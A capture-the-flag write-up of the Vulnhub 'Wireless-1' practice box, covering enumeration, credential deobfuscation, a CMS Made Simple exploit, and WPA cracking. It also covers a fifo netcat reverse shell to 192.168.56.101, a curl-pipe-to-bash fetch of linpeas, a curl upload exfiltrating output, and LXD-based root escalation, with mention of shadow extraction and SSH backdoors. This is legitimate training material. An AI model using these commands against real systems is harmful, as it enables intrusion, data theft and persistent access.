Wireless-1: Vulnhub Writeup

A vulnhub box that is available for practice that contains quite a few enumeration steps to get code execution on the box. It highlights the importance of enumeration and continuing the process to explore, test, and have a process. This box is VERY finicky and took a few boots in order for it to get an IP address. Not sure why it struggled to use DHCP to pull the IP address and what made it work, but once it came up I went after it! Let’s get it started:

Initial Footprinting

So we got back two ports: 22 and 80. I’ll run a full-scan in the background while we enumerate these ports. Doing a curl — head $IP indicates it is an Apache/2.4.41 server. curl $IP shows us it is the default ubuntu server. Not much here. Since this is our only vector at the moment, I’ll start with some directory busting. Since we are starting blind, we can start with a default list: gobuster dir -u $IP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt and see what it finds. Unfortunately if identifies nothing. Okay, is that nmap scan done? It is and we found some none-standard ports of 8000 and 8080. Let’s investigate those. If I curl $IP:8000 it gives a page for “VOIP” services, a login option, a set of “testimonals” that could be potential users, and an email address for “jinmori@voip.in”. So I captured some potential users, let’s check out the login page with curl $IP:8000/login. Simple login page with a good section of CSS that doesn’t help us. At the bottom, it shows it loads a login.js file. Got to capture that with curl $IP:8000/static/js/login.js and it gives a javascript command of “atob.” Not familiar with that, but I say we run it and see what happens. Easiest way I know of is to use the “Developer Tab” in the browser and just run it. Navigate to the login page and look at the Web-Developer tools and select Console. Since this page already loads it, it is in memory waiting for us.

atob string being loaded

Interesting. It apparently has a set of js commands in quotes that are then used somewhere on the page or passed to another one. Looking at the code, there is a bit of obfuscation going on here. Let’s take it out of quotes and run each line and see what “p” is at the end of all these obfuscation. There is a problem trying to run the line “var a = string[_0xb5c3[2]](0);” That isn’t built-in syntax for javascript. So this file doesn’t run by itself, but I don’t see any other downloads for this page:

Files downloaded by the page

Let’s go back a page and see what gets downloaded from the root page before we are forwarded to this one:

Root page downloads

Well now there are a few more. I bet one of these has the dependencies. Looking at all.js, there are a few things needed: jquery v1.12.4 and bootstrap v3.3.7 which appear to be condensed in this file. Before we start building our own application here to extract the code, let’s take a step back. Okay, so we have what we think we need, we need to go to the command-line or an on-line JS executor. Let’s just put this in the web console and work through it.

Code execution break-down

So there is no built-in function to convert hex to string in javascript. That’s probably what the bootstrap or jquery does. We can either try to include it or write it ourselves. Seems pretty easy to write, so I’ll just write it myself!

Converting the hex to a character

Okay, so now we can run the code by swapping all the “string” converstions to this function call. By running the code, it appears ‘u’ is jinmori. That’s probably a username. Now let’s see what the rest is. “var string=_0xb5c3[2]” is calling a character code function. It is taking that index and putting together a password for variable “p”.

String de-obfuscation

Okay, so we have a username and a password. Another example of folks thinking the are using encoding and obfuscation in lieu of encryption. Let’s see if they work. It does! We are on. Cool, let’s see what we got around the webpage. Admin looks juicy, but it allows me to add charts and users. That gives us plenty of users, so let’s add that to our username list. Clicking on the “VOIP Logs”, it gives a bunch of SMS messages. Let’s save those too. Not much else on here. what are these SMSs? Let’s see if we can decode them. As it happens, when I search for “python sms decoder” I find a library “smspdudecoder” that looks super simple. Let’s give it a shot.

SMS Decoding

Well, it doesn’t fully extract everything, but we did get two points of information: there is a virtual host of “wireless.com” and a testing port on port 8080. Cool beans. Let’s add that to our hosts file and see what that has in store.

New virtual host

Well, sure isn’t much on there but we know it has something. Let’s try to do some directory busting with feroxbuster. Well, nothing there. Maybe port 80 does virtual host routing and we should check that: curl $URL and that gives us a new page and not the default page we got before. It shows we got a “CMS Made Simple” page and a version at the bottom:

CMS Versioning

It’s been around since 2004, so maybe it has some exploits.

CMS Exploits

And there is one specifically for this version! Let’s open it up and try it out. Eh, it is written in python2 and not in python3 format. Let’s convert it with 2to3–2.7 -w 46635.py and we now have a python3 version. Try running it again and it tells us we just need to pass the url: python3 46635.py -u http://$URL. It chugs along and finds the salt, username, email, and password. Passing the password to hash-identifer says that it is md5 hash. Okay, we have the password and the salt and we could give it to john. However, this script appears to have a built-in cracker if we let it. Why not let it? Letting it run again with a wordlist we get a password back. After it gets to the cracking part, it gives us a “utf-8” decode problem. Well, let’s look at the source code and line 56 shows how the md5 hash works. Let’s just pass it to john and see what happens:

Letting john do our work for us

Almost cracks it instantly. Okay, now we need some code execution. After searching around, it appears that under “User Defined Tags” we can get code execution. I attempted to put in a bash reverse shell, but it didn’t send anything back. So going down my reverse shell options, I’ll try the nc -e option and that fails too. I’ll try the fifo option and that one works! echo system(“rm /tmp/arty;mkfifo /tmp/arty;cat /tmp/arty|/bin/sh -i 2>&1|nc 192.168.56.101 12345”);

Okay, now we have a shell. That was one heck of an adventure but we are on as the www-data shell. I’ll just run linpeas have it get started with curl 192.168.56.101:8000/linpeas.sh | bash and let that run. After it completes, I go back to see what looks interesting. Apparently coherer has a bunch of permissions that we would want to be. He only has two files listed in his home directory that we can see so not much there. Looking at the processes running, it shows port 8080 running but won’t show a PID which means it running as a different user. We found the playsms and cmsms in the web directory and we got in through cmsms while the VOIP page was on playsms. We still haven’t seen port 8080. Doing a cat /etc/hosts we see there is wireless.com that is different than VOIP. There isn’t anything else in the /var/www/html directory, so something else is running it. Maybe this is running as the coherer user? Run ps -elf | grep coherer gives me nothing. Let me save this linpeas output with curl -F “path=.” -F “file=@peas.output” 192.168.56.101:9090/upload” and let’s to explore this other page. So going back to the webpage, we got nothing. Even running whatweb $URL:8080 gives out nothing juicy. Let’s attempt to gobuster it. gobuster dir -u http://$URL -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100. Returns absolutely nothing. If we got nothing on the directory side, is there something additional on the subdomain side? gobuster vhost -u http://$URL — wordlist=subdomains-top1million-110000.txt and it instantly finds a testing.wireless.com. Let’s add that to our /etc/hosts file and navigate to that.

Another login portal

Well we have a username/password, let’s see if it works. It does and gives us a weird box. Typing anything in the box it gives us some options. So I follow it through with “Tools -> Aircrack-ng” and runs through some wireless options and then provides a “WPA-Capture.pcap” file. Well if it ran aircrack-ng (which more likely was airodump-ng but anyway), gave us a wpa-capture and it has a handshake in it, why not try to crack it? I’ll try old-faithful with rockyou and see where it goes: aircrack-ng WPA-Capture.pcap rockyou.txt and a little while later, nothing! I try a few different password lists from seclists and finally got it!

Using the handshake to crack the password

This is a good reminder that just because you give it one wordlist and the result isn’t in there that doesn’t mean it can’t crack it. It just means the wordlist you gave it didn’t have it in there. Understanding your wordlists is very important: shout out to SecLists! Okay, so this was for a network called “coherer” which is the same as the user name. Can we use this to get on the box?

ssh login

Holy cow what an adventure! We finally made it on the box as a low-priv user. Well we already ran the linpeas and know he’s in some good groups. He is in sudo but we don’t have sudo rights. He’s also in lxd. I’ll run lxd list and see that there aren’t any images, but it tells me to run lxd init. I do that and I’m ready to go. I try the example of lxd launch ubuntu:18.04 and it says it cannot reach the internet. Of course, so we need to download an image and pass it to it. I’ve done this before, so I’ll go to my trusty page: initstring/lxd_root: Linux privilege escalation via LXD (github.com) and roll through that.

git clone https://github.com/saghul/lxd-alpine-builder

cd lxd-alpine-builder/

sudo ./build-alpine

Now I have the tar, let’s move it over scp lxd-alpine-builder/alpine-v3.14-x86_64–20210819_2140.tar.gz coherer@192.168.56.103:/tmp.

  1. lxc image import /tmp/alpine-v3.14-x86_64–20210819_2140.tar.gz — alias myimage

2. lxd init myimage mycontainer -c security.privileged=true

3. lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

4. lxc start mycontainer

5. lxc exec mycontainer /bin/sh

And that was it! What an adventure. If you missed it above, on line 3 we mounted the root of the host into the /mnt/root of the container. From here I could extract /etc/shadow, add a backdoor for ssh, and set up a cron job to give me a frequent callback. This box is a good example of “I’ve enumerated and I don’t see it, now what?”…which means you either already saw it and you don’t realize it or you didn’t enumerate enough. See you all next time!

Cyber Enthusiast and sharing some knowledge in a systematic way